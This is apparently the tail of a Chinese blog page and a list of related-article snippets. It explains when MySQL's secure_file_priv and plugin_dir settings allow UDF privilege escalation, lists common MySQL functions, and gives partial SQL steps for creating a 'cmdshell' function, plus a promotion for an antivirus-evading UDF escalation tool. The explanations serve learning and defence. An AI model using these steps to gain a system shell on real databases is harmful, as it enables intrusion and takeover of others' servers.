''(empty string)，不限制导入和导出的目录。只需将so写到plugin_dir，能创建so自定义函数。存在漏洞风险dirname(指定目录)，限制导入和导出为指定目录。如果指定的目录和plugin_dir相同，能正常创建so自定义函数，存在漏洞风险；否则不能创建so自定义函数null，禁止导入和导出操作，不存在漏洞风险提权账号无论采用哪种方式启动数据库(systemctl start mysql、mysqld、mysqld_safe)，提权后的账号根据mysqld进程uid确定。
MySQL UDF提权原理
weixin_45626840的博客
10-10 1138
看了许多视频和文章，对UDF提权讲得都不是很清楚，遂搜索了一下MySQL的基础知识，总结了一下，供各位初学的师傅参考。user-defined functions (UDFs)，用户自定义函数，不过，这已经是过时的说法了，MySQL官方文档现在把它称作(可加载函数)，是MySQL可在运行时加载执行以扩展功能的机制。我们大可把它理解为是一个插件，而且其本质也是一个动态链接库。官方文档很清楚地说明了，一个可加载函数会被编译为库文件（Windows下文.dll，Linux下为.so），然后使用和。
MySQL 函数
qq_34321710的博客
09-07 194
MySQL 有很多内置的函数，经常使用时找不到相应方法，甚至都不知道还有函数能完成自己需要的奇葩需求，以下列出了这些函数的说明，整理备忘。 MySQL 字符串函数 函数 描述 实例 ASCII(s) 返回字符串 s 的第一个字符的 ASCII 码。 返回 CustomerName 字段第一个字母的 ASCII 码：SELECT ASCII(CustomerName) AS NumCodeOfFirstChar FROM Customers; CHAR_LENGTH(s) 返回字符串 s
MySQL 相关函数
paulfrank_zhang的博客
03-10 311
通配符 % 0或者多个字符 _ 任意一个字符 [charlist] 字符列中的任何单一字符 [^charlist] or [!charlist] 不在字符列中的任何单一字符 ^[charlist] 以字符列中任何单一字符开头的 下面的 SQL 语句选取 name 以 "G"、"F" 或 "s" 开始的所有网站： SELECT * FROM We...
mysql的窗口函数，substring()函数，Locate()函数，Replace（）函数
最新发布
throwsExceptions的博客
04-10 576
语法2：SUBSTRING(s，n，len)。如果n为负值，则子字符串的位置起始于字符串结尾的第 n 个字符，即倒数第 n 个字符，而不是字符串的开头位置。从“MySQL SUBSTRING”字符串中获取子字符串：“SUBSTRING”，子串的位置必须从7开始。返回字符串1在字符串2中第一次出现的位置，只要字符串2中包含字符串1，那么返回值必然大于0。如果n为正值，则SUBSTRING函数从字符串的开始处提取子字符串。从字符串 s 返回一个长度同 len 字符相同的子字符串，起始于位置 n。
mysql 相关函数
toward_south的博客
02-05 272
数学函数： 1.绝对值函数ABS(x) 2.返回圆周率函数PI（）      （默认显示的小数位数为6位） 3.平方根函数 SQRT(X)       返回非负数x的二次方根。 如select sqrt(9) 值为3 4.求余函数MOD（x,y）:       x 或y有几位小数，结果就有几位小数 5.获取整数的函数ceil(x) ,ceiling(
MySQL相关的函数
我爱编程持之以恒
09-05 688
1.  if(条件表达式,条件为true时的值,条件为false时的值)
Mysql——相关函数
weixin_51488200的博客
01-17 986
*博客主页——小杰同学要加油的博客主页 *欢迎关注点赞收藏留言 *刚刚学习，如## 标题果有不对的地方，请大佬斧正！ 函数表： 1.统计合计函数 作用 COUNT(*) 返回满足条件记录的行数 COUNT(列) 返回行数，但不统计NULL SUM（） 求总和 AVG() 求平均数 MAX() 求最大值 MIN() 求最小值 2.字符串函数 作用 CHARSET（） 返回字串字符集 CONCAT () 连接字串 UCASE() 变大写 .
Linux利用UDF库实现Mysql提权
09-10
本篇将详细介绍如何利用UDF库来实现MySQL的提权操作。 首先，提权通常涉及到获取更高的系统权限，而在MySQL中，通过UDF库可以执行系统级别的命令，从而可能达到提升权限的目的。要实现这一过程，我们需要满足以下...
MySQL UDF 提权
small_cat's home
10-22 2044
UDF 全称 User Defind Function（用户自定义函数），用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能，其添加的新函数都可以在 SQL 语句中调用，就像调用本机函数 version () 一样方便。UDF 提权是通过这样的方法来实现获取对方主机的system的shell权限，从而达到提权的目的。要实现 UDF 提权需要有一个动态链接库文件。
mysql相关函数
ernesto的博客
04-25 400
1、ifnull函数ifnull(param1,param2)，如果第一个值parma1为空，取第二个值param2 select ifnull(max(sort),0) as sort from emp;
mysql相关函数_mysql相关函数
weixin_35693055的博客
01-19 135
字符串类CHARSET(str) //返回字串字符集CONCAT (string2 [,... ]) //连接字串INSTR (string ,substring ) //返回substring首次在string中出现的位置,不存在返回0LCASE (string2 ) //转换成小写LEFT (string2 ,length ) //从string2中的左边起取length个字符LENGTH (...
MySQL函数大全
热门推荐
weixin_49493223的博客
05-29 1万+
当对负数进行四舍五入：先把符号丢到一边，对去掉负号后的正数进行四舍五入，完成以后，再把这个负号，补上即可。返回子串第一次出现的索引，如果找不到，返回0；注：这里的填充len指的是用填充字符填充后的总长度，也就是若你的len选择5你的字符串含有位置为4则只能填充一个字符，也就是填充字符的第一个字符。向前、向后偏移日期和时间，正号为向后，负号为向前，除此之外还有hour（小时），minute（分钟），second（秒）注：2是开始位置，此处起始位置为‘学’所对应的位置是1，这和编程语言中的0为起始位置不一样。
数据库常用函数
weixin_43343423的博客
10-14 511
一、数学函数 abs(x) 返回x的绝对值 bin(x) 返回x的二进制（oct返回八进制，hex返回十六进制） ceiling(x) 返回大于x的最小整数值 exp(x) 返回值e（自然对数的底）的x次方 floor(x) 返回小于x的最大整数值 greatest(x1,x2,...,xn)返回集合中最大的值 least(x1,x2,...,xn) 返回集合中最小的值 ln(x) 返回x的自然对...
MySQL数据库DQL操作相关函数
gaofengyan的博客
04-24 869
字符串函数 1、【upper(x)】 ：将x中的字母字符串全部【转换成大写】 2、【lower(x)】 ：将x中的字母字符串全部【转换成小写】 3、【length(x) 】：返回X中的字符数（一个中文算3个字符数，数字或字母算1个字符） 4、【char_length(x)】：返回x中的字符数（一个中文也算一个字符） 5、【replace(x,char1,char2)】...
MySQL的一些常用函数
weixin_46709007的博客
11-29 574
MySQL函数和方法处理字符串、时间、子查询等
MySQL之常用函数
qq_55755280的博客
04-11 7117
MySQL函数是MySQL数据库提供的内置函数。这些内置函数可以帮助用户更加方便地处理表中的数据。内置函数主要有。本篇主要介绍一些常用的函数。
mysql提权数据不含表头_mysql提权总结方法四则
weixin_36165880的博客
01-26 215
查看扩展路径，mysql 5.1 需要将udf.dll文件放在lib\plugin下面show variables like '%plugin%'加载失败可以尝试先删掉扩展名：delete from mysql.func where name='cmdshell'一 UDF提权这类提权方法我想大家已经知道了，我大致写一下，具体语句如下：create function cmdshell return...
MySQL免杀UDF提权技术教程与工具分享
- MYSQL_UDF 5.0：这个文件可能是恶意UDF函数的源代码包，或者包含特定于MySQL 5.0版本的提权工具。 综上所述，MySQL的UDF提权是一种针对数据库服务的安全威胁，它允许攻击者利用数据库中UDF的漏洞来提升权限，从而...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值